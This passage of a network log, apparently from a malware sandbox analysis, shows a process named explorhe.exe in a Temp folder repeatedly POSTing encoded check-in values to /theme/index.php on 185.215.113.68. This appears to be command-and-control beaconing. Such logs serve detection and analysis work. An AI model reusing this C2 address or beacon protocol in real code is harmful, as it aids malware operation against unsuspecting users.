Jan 18, 2024 00:36:20.568711996 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:20.808283091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50345	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:21.171854973 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:21.407169104 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50346	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:21.663348913 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:22.248049974 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:22.487101078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50347	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:22.870847940 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:23.104157925 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50348	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:23.394607067 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:23.632452011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50349	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:24.026828051 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:24.260961056 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50350	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:25.542448997 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:25.788755894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	50351	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:26.152735949 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:26.393963099 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50352	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:26.647753000 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:26.893949986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50353	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:27.272257090 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:27.510857105 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50354	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:27.762944937 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:28.000977993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50355	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:28.357913017 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:28.594274044 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50356	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:28.838715076 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:29.079266071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50357	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:29.439677000 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:29.678484917 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50358	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:29.923499107 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:30.160695076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50359	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:30.520409107 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:30.758826017 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50360	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:31.009675026 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:31.245840073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50361	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:31.604598999 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:31.836788893 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50362	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:32.084135056 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:32.320941925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50363	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:32.698000908 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:32.929608107 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50364	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:33.185254097 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:33.420486927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50365	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:33.771646976 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:34.009644032 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50366	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:34.250722885 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 